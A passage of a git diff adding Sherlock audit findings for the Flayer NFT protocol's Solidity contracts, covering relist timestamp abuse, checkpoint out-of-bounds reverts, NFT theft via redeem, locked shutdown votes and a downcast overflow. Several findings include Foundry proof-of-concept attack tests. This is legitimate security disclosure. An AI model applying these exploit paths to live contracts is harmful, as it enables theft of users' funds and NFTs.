+The [`Listings`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol) contract allows three ways to create a new `Listing`:
+
+1. [`createListings`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L130C14-L130C28)
+2. [`createLiquidationListing`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L178C14-L178C38)
+3. [`relist`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625C14-L625C20)
+
+Notice that each of these functions accept a [`CreateListing`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/interfaces/IListings.sol#L72C12-L72C25) struct, which has the following format:
+
+```solidity
+struct CreateListing {
+ address collection;
+ uint[] tokenIds;
+ Listing listing; /// @audit contains a `Listing` struct
+}
+```
+
+```solidity
+struct Listing {
+ address payable owner;
+ uint40 created; /// @audit allows caller to specify the `created` date of the listing
+ uint32 duration;
+ uint16 floorMultiple;
+}
+```
+
+Normally, although an external caller may indeed specify an arbitrary `created` date on the nested `Listing` struct, this has no effect because the `CreateListing` object is usually passed through [`_mapListings`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L242C14-L242C26):
+
+```solidity
+function _mapListings(CreateListing calldata _createListing, uint _tokenIds) private returns (uint tokensReceived_) {
+ // Loop through our tokens
+ for (uint i; i < _tokenIds; ++i) {
+ // Create our initial listing and update the timestamp of the listing creation to now
+ _listings[_createListing.collection][_createListing.tokenIds[i]] = Listing({
+ owner: _createListing.listing.owner,
+ created: uint40(block.timestamp), /// @audit safely overwrites the caller's created timestamp
+ duration: _createListing.listing.duration,
+ floorMultiple: _createListing.listing.floorMultiple
+ });
+ }
+
+ // Our user will always receive one ERC20 per ERC721
+ tokensReceived_ = _tokenIds * 1 ether;
+}
+```
+
+This safely prevents the caller from using a malicious timestamp.
+
+> [!NOTE]
+>
+> [`_validateCreateListing`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L262C14-L262C36) **does not** validate the `created` field.
+
+However, these protections are only in place for [`createListings`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L130C14-L130C28) and [`createLiquidationListing`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L178C14-L178C38). [[1]](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L146C30-L146C42) [[2]](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L202C9-L202C21)
+
+Invocations to [`relist`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625C14-L625C20) allow the caller to persist a malicious `created` field directly to contract storage, as the field goes unvalidated and unmodified:
+
+```solidity
+// Validate our new listing
+_validateCreateListing(_listing);
+
+// Store our listing into our Listing mappings
+_listings[_collection][_tokenId] = listing; /// @audit listing is saved directly to storage without validating the timestamp
+
+// Pay our required taxes
+payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+```
+
+Consequently, by relisting to move the `created` field closer to the `block.timestamp`, a user can receive undue refunds:
+
+```solidity
+// Get the amount of tax to be refunded. If the listing has already ended
+// then no refund will be offered.
+if (block.timestamp < _listing.created + _listing.duration) {
+ /// @audit Increasing listing.created can secure a greater refund for listings which did not sell.
+ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+}
+```
+
+Likewise, a user can subvert harberger taxes.
+
+By using another EOA, a user can relist their `Listing` at a `creation` date far in the future (i.e. `type(uint40`.max) [to prevent their underlying token from being purchased](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L855C9-L859C10):
+
+```solidity
+// This is an edge case, but protects against potential future logic. If the
+// listing starts in the future, then we can't sell the listing.
+if (listing.created > block.timestamp) { /// @audit users can maliciously activate this condition
+ return (isAvailable_, totalPrice);
+}
+```
+
+This will eventually result in a depeg event:
+
+> **2.1 Harberger Fees**
+>
+> Liquid Listings would not work without an incentive to ensure that the seller is setting a fair price. Without such an incentive, users could list their items at extortionate prices with no intention to be filled whilst still accessing a freshly minted ƒ token.
+> **This would result in the ƒ token depegging from the market as it could no longer be used to claim a fairly priced item.**
+
+
+## Impact
+
+Stolen due refunds from the protocol.
+
+## Code Snippet
+
+```solidity
+// Validate our new listing
+_validateCreateListing(_listing);
+
+// Store our listing into our Listing mappings
+_listings[_collection][_tokenId] = listing;
+
+// Pay our required taxes
+payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L661C9-L669C1
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Validate the `created` timestamp when relisting.
\ No newline at end of file
diff --git a/001/122.md b/001/122.md
new file mode 100644
index 0000000..794d272
--- /dev/null
+++ b/001/122.md
@@ -0,0 +1,189 @@
+Happy Wintergreen Kookaburra
+
+High
+
+# Users won't be able to claim their 2nd+ Protected Listing or Liquidate them because of a panic error (array-out-of-bounds)
+
+## Summary
+When two different listings of NFTs are created, the user provides a checkpoint for them, but the system overwrites it with a `_checkpointIndex` (Which is correct). But the out-of-bounds error in the `createListings` function occurs because checkpoints are not properly initialized before being accessed as when you create a listing the `createCheckpoint` is called once and not for the other following token ids.
+
+## Vulnerability Detail
+Users won't be able to liqudate a specific NFT inside the protected listing smart contract as they can only do that until the checkpoint of the newly added tokens have been created which `createListings` does not do expect if it is the first listing of the Collection.
+
+## Array Out-of-Bounds Error (Code Snippet):
+- The Function `createListings` calls The `_mapListings`
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L143
+```solidity
+tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+```
+- `_mapListings` Updates the provided checkpoint to the `_checkpointIndex` on each token listing
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L202
+```solidity
+_createListing.listing.checkpoint = _checkpointIndex;
+_protectedListings[_createListing.collection][_createListing.tokenIds[i]] = _createListing.listing;
+```
+- How the `_checkpointIndex` is created inside the `createListings` (Once per first collection listing and never again) (Keep in mind It also calls create Checkpoint once)
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L134
+```solidity
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection)); //n create a checkpoint for the listing collection
+ assembly { checkpointIndex := tload(checkpointKey) } //n If the checkpoint for that particular collection has not been created before, the checkpointIndex will be zero
+ if (checkpointIndex == 0) { //n If the checkpointIndex is zero, it means that this is the first time a listing is being created for this collection
+ checkpointIndex = _createCheckpoint(listing.collection); //n create a new checkpoint for the collection
+ assembly { tstore(checkpointKey, checkpointIndex) } //n Save a word created (checkpointKey) to transient storage
+ } //n wont execute the if statement if the collection already has a Checkpoint key from the transient storage
+```
+- When you call getProtectedListingHealth() for tokenId2 it calls the unlockPrice,
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L500
+```solidity
+ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+int health = int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+```
+- Inside the `unlockPrice()` the function tries to access the checkpoint data (`collectionCheckpoints`) for that token
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L614
+```solidity
+unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint], // Accesses checkpoint data
+ _currentCheckpoint: _currentCheckpoint(_collection)
+});
+```
+- Here, listing.checkpoint is used to access data in the array `collectionCheckpoints[_collection]`. If the checkpoint data is out-of-bounds for tokenId2, it throws the array out-of-bounds error
+- So, when getProtectedListingHealth() tries to access `collectionCheckpoints[_collection][_checkpointIndex]` for tokenId2, it finds invalid data, causing the error(Because the checkpoint was never created for the second Token)
+## Actual Problem
+- The function `_createCheckpoint` is responsible for generating and updating the `collectionCheckpoints` for a collection (Remember it is called only once when you create a listing)
+- If the `listing.checkpoint` refers to an index that exceeds the length of `collectionCheckpoints[_collection]`, it results in an out-of-bounds access
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+
+ // Register the checkpoint that has been created
+ emit CheckpointCreated(_collection, index_);
+
+ // If this is our first checkpoint, then our logic will be different as we won't have
+ // a previous checkpoint to compare against and we don't want to underflow the index.
+ if (index_ == 0) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // We don't have a previous checkpoint to calculate against, so we initiate our
+ // first checkpoint with base data.
+ collectionCheckpoints[_collection].push(
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+ );
+
+ return index_;
+ }
+
+ // Get our new (current) checkpoint
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ return index_;
+ }
+
+ // Store the new (current) checkpoint
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+```
+
+## Impact (2 scenarios)
+### First
+- A user can List multiple tokens but provide collateral for only one token avoiding liquidation for other tokens. Since liquidation function depend on the `getProtectedListingHealth`, keepers attempting to liquidate other tokens will be blocked by the presence of the first token. This could prevent the liquidation of all associated tokens, leaving them in the user’s possession (Protected Listing) despite insufficient collateral (They can't be sent for auction). If the first Token gets liquidated the other tokens liquidation period will start (meaning they will act like they are newly added listings) since that's when the checkpoint will be called for other tokens
+
+### Second
+- Because of the array out-of-bounds issue, A user may face difficulty unlocking their tokens unless they do so in a specific order. If the first token is not withdrawn, other tokens will cause the functions (`unlockProtectedListing`, `adjustPosition`, `liquidateProtectedListing`) to revert, making it impossible to unlock the remaining tokens before the first one.
+
+## PoC
+- Put the PoC inside the `ProtectedListings.t.sol`
+
+
+POC
+
+```solidity
+ function test_PoC3() public {
+ // create an address for alice
+ address payable alice = users[1];
+ address payable bob = users[2];
+
+ // The token address (Underlying ERC20 for the collection)
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ // Create 2 Token Id's for Alice
+ uint _tokenId1 = 444;
+ uint _tokenId2 = 555;
+
+ // Mint both tokens to alice
+ erc721a.mint(alice, _tokenId1);
+ erc721a.mint(alice, _tokenId2);
+
+ // Create the listing for alice
+ vm.startPrank(alice);
+ erc721a.approve(address(protectedListings), _tokenId1); // approve token 1
+ erc721a.approve(address(protectedListings), _tokenId2); // approve token 2
+ _createProtectedListing({ // create a listing for token 1
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId1),
+ listing: IProtectedListings.ProtectedListing({
+ owner: alice,
+ tokenTaken: 0.5 ether,
+ checkpoint: 1 // the checkpoint alice set (will be overwritten)
+ })
+ })
+ });
+ _createProtectedListing({ // create a listing for token 1
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId2),
+ listing: IProtectedListings.ProtectedListing({
+ owner: alice,
+ tokenTaken: 0.5 ether,
+ checkpoint: 2 // the second checkpoint alice set (will be overwritten)
+ })
+ })
+ });
+ vm.stopPrank();
+
+ // Confirm that alice holds the 1 ether (0.5 ether for each Listing)
+ assertEq(token.balanceOf(alice), 1 ether);
+
+ // Let us read the object of each token Id (checkpoint)
+ IProtectedListings.ProtectedListing memory listing1 = protectedListings.listings(address(erc721a), _tokenId1);
+ IProtectedListings.ProtectedListing memory listing2 = protectedListings.listings(address(erc721a), _tokenId2);
+ console.log("The _tokenId1 listing:", listing1.checkpoint); // 0
+ console.log("The _tokenId2 listing:", listing2.checkpoint); // 1
+
+ // Since bob will be taking the liquidation route let's pass time (both liquidation and unlockListing call getProtectedListingHealth)
+ vm.warp(block.timestamp + LIQUIDATION_TIME);
+
+ // The first deposited Token id check will go through
+ protectedListings.getProtectedListingHealth(address(erc721a), _tokenId1);
+
+ // The second deposited Token id check will not go through (If the user wants to unlock their second NFT)
+ vm.expectRevert();
+ protectedListings.getProtectedListingHealth(address(erc721a), _tokenId2);
+
+ vm.prank(bob); // If bob tries to liquidate the second Token Id it won't be successful too
+ vm.expectRevert();
+ protectedListings.liquidateProtectedListing(address(erc721a), _tokenId2);
+}
+```
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+To fix the out-of-bounds error, you should call `_createCheckpoint` function before accessing `collectionCheckpoints`. This ensures that a valid checkpoint is created and initialized for each listing before being used in other operations
\ No newline at end of file
diff --git a/001/123.md b/001/123.md
new file mode 100644
index 0000000..dc513ee
--- /dev/null
+++ b/001/123.md
@@ -0,0 +1,167 @@
+Happy Wintergreen Kookaburra
+
+High
+
+# The `redeem` function does not check if the requested NFT is not a `canWithdrawAsset` NFT of someone else
+
+## Summary
+When a user redeems an NFT, they get to burn their tokens (1 ether) to claim a specified NFT (by them), the issue lies when the redeem function can allow the user with 1 ether to claim an NFT that is being put aside (withdraw Later) by someone who unlocked it as a Protected Listing.
+
+## Vulnerability Detail
+- The Redeem function is used by users to be able to redeem any NFT inside the collection in return for them getting to burn their tokens(ERC20) to do so which will be 1 ether of those tokens(ERC20).
+- The Function already checks that the specified redeem NFT is not an Active Listing (Which is correct), but forgets to check if the specified redeem NFT is not an asset that can be withdrawn by another user as that user is planning to claim it later.
+
+## Code Snippet
+- When a user calls the `unlockProtectedListing` to release their NFT, they get to choose if they want their NFT instantly or if they want to withdraw later
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287
+```solidity
+function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {}
+```
+- If they have specified their `_withdraw` bool as false they will execute the `else` part of the function
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L317
+```solidity
+ if (_withdraw) { //n if the withdraw bool was set to true, execute
+ locker.withdrawToken(_collection, _tokenId, msg.sender); //n Transfer the ERC721 back to the sender
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else { //n if the withdraw bool was false it means it can be withdrawn later
+ canWithdrawAsset[_collection][_tokenId] = msg.sender; //n store the msg.sender as a sender that can be able to withdraw the NFT later
+ }
+```
+- They can withdraw later by using the `withdrawProtectedListing` function (But for now let's say the user decides to keep it there)
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341
+```solidity
+function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+ // Ensure that the asset has been marked as withdrawable
+ address _owner = canWithdrawAsset[_collection][_tokenId]; //n fetches the owner of the address listing that can withdraw their ERC721
+ if (_owner != msg.sender) revert CallerIsNotOwner(_owner); //n if the owner of the NFT is not the same as the sender revert
+
+ // Mark the asset as withdrawn
+ delete canWithdrawAsset[_collection][_tokenId]; //n deletes the mapping of the collection token (it is claimed)
+
+ // Transfer the asset to the user
+ locker.withdrawToken(_collection, _tokenId, msg.sender); //n Transfer the ERC721 back to the sender
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ }
+```
+### Vulnerability
+- The `redeem` function below does not check if the provided `_tokenIds` is allocated at `canWithdrawAsset` for the User to be able to withdraw it
+```solidity
+ function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Burn the ERC20 tokens from the caller
+ ICollectionToken collectionToken_ = _collectionToken[_collection];
+ collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Loop through the tokenIds and redeem them
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Ensure that the token requested is not a listing
+ if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+
+ // Transfer the collection token to the caller
+ collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+ }
+
+ emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+
+## Impact
+- This will cause a user that had a withdrawal asset to get the NFT taken away from him without even receiving those burned Tokens
+- When a user tries to withdraw the NFT, they will be faced with a revert error saying the NFT does not exist as it would be sent to the other user (No longer in the hands of the Locker)
+- The user who bought the NFT (redeem) from the initialized collection and Protected Listed the NFT then unlocks it and puts the NFT in a withdraw later state expects the NFT to not be swapped or redeemed by other users but rather than them fully owning it and can withdraw later as it was their protected Listing and they owned it by redeeming it from the collection.
+
+## PoC
+- Put the PoC inside the `ProtectedListings.t.sol`
+
+
+POC
+
+```solidity
+ function test_Poc(uint _tokenId, uint96 _tokensTaken) public {
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that the _tokenTaken is within the acceptable range
+ vm.assume(_tokensTaken >= 0.1 ether);
+ vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());
+
+ // set the user alice
+ address payable alice = users[0];
+
+ // Mint the NFT to alice
+ erc721a.mint(alice, _tokenId);
+
+ vm.startPrank(alice); // Create the listing (by Alice)
+ erc721a.approve(address(protectedListings), _tokenId); // approve the NFT to be used by the contract
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: alice,
+ tokenTaken: _tokensTaken,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // Approve the ERC20 token to be used by the listings contract
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), _tokensTaken);
+ // Confirm that the ERC20 is held by alice is the correct amount (TokenTaken)
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(alice), _tokensTaken);
+ // Unlocks the listing of alice with withdraw to false (withdraw later)
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);
+ vm.stopPrank();
+
+ // Confirm that the ERC20 was burned from alice as we unlocked our listing
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(alice), 0);
+ // Confirm that the NFT has not yet been returned to the original owner (withdraw later)
+ assertEq(erc721a.ownerOf(_tokenId), address(locker));
+ // Check that we can now withdraw the NFT from our caller (alice)
+ assertEq(protectedListings.canWithdrawAsset(address(erc721a), _tokenId), alice);
+
+ // Attack
+ address payable bob = users[1]; // set the user bob (Attacker)
+ // We need to generate enough ERC20 tokens to be able to redeem (1 ether)
+ deal(address(locker.collectionToken(address(erc721a))), bob, 1 ether);
+
+ // Move our token ID (Alice's) into an array
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+
+ vm.startPrank(bob); // Attempt to redeem Alice's NFT
+ // Approval from bob for the locker to burn the collection tokens
+ locker.collectionToken(address(erc721a)).approve(address(locker), 1 ether);
+ // bob redeems the NFT that is owned by alice
+ locker.redeem(address(erc721a), tokenIds);
+ vm.stopPrank();
+ // Attack End
+
+ // Alice decides to claim their NFT as they wanted to withdraw later
+ vm.prank(alice);
+ // Expect the "Not Owner revert" from ERC721 indicating that the locker is no longer in possession of alice's NFT
+ vm.expectRevert("ERC721: caller is not token owner or approved");
+ protectedListings.withdrawProtectedListing(address(erc721a), _tokenId);
+ // Confirm that the NFT is no longer owned by alice but by bob
+ assertEq(erc721a.ownerOf(_tokenId), bob);
+}
+```
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+- Implement a check that the requested NFT is the `canWithdrawAsset` of an address 0 and if not, revert
+```diff
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Ensure that the token requested is not a listing
+ if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
++ if (IProtectedListings.canWithdrawAsset[_collection][_tokenIds[i]] != address(0)) revert TokenIsOwned(_tokenIds[i]);
+```
+- ⚠️**NOTICE**: Other Functions needs this check too like `swap`, `CollectionShutdown` and more
diff --git a/001/127.md b/001/127.md
new file mode 100644
index 0000000..e4a2ad4
--- /dev/null
+++ b/001/127.md
@@ -0,0 +1,92 @@
+Ripe Zinc Duck
+
+High
+
+# `Listings.relist()` function doesn't set `listing.created` as `block.timestamp`.
+
+## Summary
+`Listings.relist()` function doesn't set `listing.created` as `block.timestamp`.
+It causes several serious problems to the user.
+
+## Vulnerability Detail
+`Listings.createListings()` function set `listing.created` as `block.timestamp` but the following `Listings.relist()` function doesn't set `listing.created` as `block.timestamp`.
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Load our tokenId
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Load our new Listing into memory
+ Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+665: _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+668: payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+ }
+```
+As can be seen, the above function doesn't set `_listings[_collection][_tokenId].created` as `block.timestamp` in `L665`. Although the test codes of `Listings.t.sol` are setting `listing.created` as `block.timestamp` when calling `Listings.relist()` function, users can set `listing.created` arbitrarily when calling `Listings.relist()` function.
+Even in the case that user (or frontend) try to set `listing.created` as `block.timestamp`, since the user's tx will be stayed in mempool for unexpected period, `listing.created` will be different with `block.timestamp`.
+
+If `listing.created` is before than `block.timestamp`, user will lose part of tax required for relisting (which is paid in `L668`). If `listing.created` is much smaller than `block.timestamp`, user's NFT will be auctioned at low price as soon as it is relisted.
+If `listing.created` is greater than `block.timestamp`, user's NFT can't be filled for a period from `block.timestamp` to `listing.created`.
+
+## Impact
+User will lose the tax required for relisting or user's NFT listing will be auctioned at low price. It means loss of funds.
+User's NFT listing can't be filled for a period. It means lock of funds.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Modify `Listings.relist()` function as below.
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ --- SKIP ---
+
+ // Load our new Listing into memory
+ Listing memory listing = _listing.listing;
+++ listing.created = block.timestamp;
+
+ --- SKIP ---
+ }
+```
\ No newline at end of file
diff --git a/001/139.md b/001/139.md
new file mode 100644
index 0000000..8cac13b
--- /dev/null
+++ b/001/139.md
@@ -0,0 +1,74 @@
+Warm Daisy Tiger
+
+High
+
+# Collection token will get locked after shutdown cancellation
+
+### Summary
+
+The function `CollectionShutdown#cancel()` cancels the ongoing collection shutdown and delete the shutdown parameters for the collection, which causes voters can not reclaim collection token
+
+### Root Cause
+
+The storage variable [`_collectionParams[_collection]` is deleted](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L403), which causes revert due to [arithmetic underflow](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L369) in `CollectionShutdown#reclaimVote()` function
+
+### Internal pre-conditions
+
+1. An user needs to start a Collection shutdown
+2. Users vote for the collection shutdown
+3. The shutdown passes quorum and it is executable. It is also can be cancelled at this state
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. An user calls `CollectionShutdown#start()`
+2. Users vote using their collection token, through function `CollectionShutdown#vote()`
+3. After quorum passes, an user calls `CollectionShutdown#cancel()` (with conditions satisfy checks in the function)
+4. Voters call `CollectionShutdown#reclaimVote()`, which will always fail
+
+### Impact
+
+- Voted collection token for cancelled shutdowns get stuck in the contract
+
+### PoC
+
+Update the test `test_CanCancelShutdownFlow` in test file `CollectionShutdown.t.sol` as below:
+```solidity
+ function test_CanCancelShutdownFlow(uint _additionalAmount) public withQuorumCollection {
+ // Confirm that we can execute with our quorum-ed collection
+ assertCanExecute(address(erc721b), true);
+
+ // Mint an amount that will allow us to start the cancel process. Our modifier
+ // gives us the `MAX_SHUTDOWN_TOKENS` value, so any positive integer will suffice.
+ vm.assume(_additionalAmount > 0);
+ vm.assume(_additionalAmount < type(uint128).max);
+ vm.prank(address(locker));
+ collectionToken.mint(address(1), _additionalAmount);
+
+ // Cancel our shutdown
+ collectionShutdown.cancel(address(erc721b));
+
+ // Now that we have cancelled the shutdown process, we should no longer
+ // be able to execute the shutdown.
+ assertCanExecute(address(erc721b), false);
+
+
+ // Now we try to reclaim vote
+ vm.startPrank(address(2));
+ collectionShutdown.reclaimVote(address(erc721b));
+ }
+```
+
+Run the test and console show the test fails due to underflow
+```bash
+Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[FAIL. Reason: panic: arithmetic underflow or overflow (0x11); counterexample: calldata=0x0cd0ba9b0000000000000000000000000000000000000000000000000000000000000003 args=[3]] test_CanCancelShutdownFlow(uint256) (runs: 0, μ: 0, ~: 0)
+```
+
+### Mitigation
+
+- Add a flag for cancel status
+- Update reclaimVote logic accordingly
\ No newline at end of file
diff --git a/001/141.md b/001/141.md
new file mode 100644
index 0000000..c2de06c
--- /dev/null
+++ b/001/141.md
@@ -0,0 +1,60 @@
+Flaky Sable Hamster
+
+Medium
+
+# Possible overflow in `quorumVotes` while starting a shutdown in CollectionShutdown.sol
+
+## Summary
+Possible overflow in `quorumVotes` while starting a shutdown in CollectionShutdown.sol
+
+## Vulnerability Detail
+User can start a collection shutdown using `start()`, which calculates the `quorumVotes` based on the `totalSupply` of the collectionToken.
+```solidity
+function start(address _collection) public whenNotPaused {
+...
+@> uint totalSupply = params.collectionToken.totalSupply();
+ if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ // Set our quorum vote requirement
+@> params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+...
+ }
+```
+The problem is, totalSupply is uint256 but quorumVotes is uint88. While calculating quorumVotes, it unsafe downcast the uint256 to uint88, resulting in overflow.
+
+Let's see how this works
+1. Suppose a collection is created with `denomination = 9`, therefore 1 collectionToken is equals `1e27`
+2. `4 NFT` of that collection are deposited to Locker.sol, which mints 4 collectionToken ie `4e27(totalSupply)`
+3. User wanted to shutdown the collection, which calculates the `quorumVotes ie (4e27 * 50) / 100 = 2e27`
+```solidity
+params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+```
+4. But the problem is uint88 can only handle ~0.3e27. As result, quorumVotes will silently `overflow`
+
+Note: Same issue is present in `execute()`
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+...
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+@> uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+@> params.quorumVotes = uint88(newQuorum);
+ }
+...
+ }
+```
+
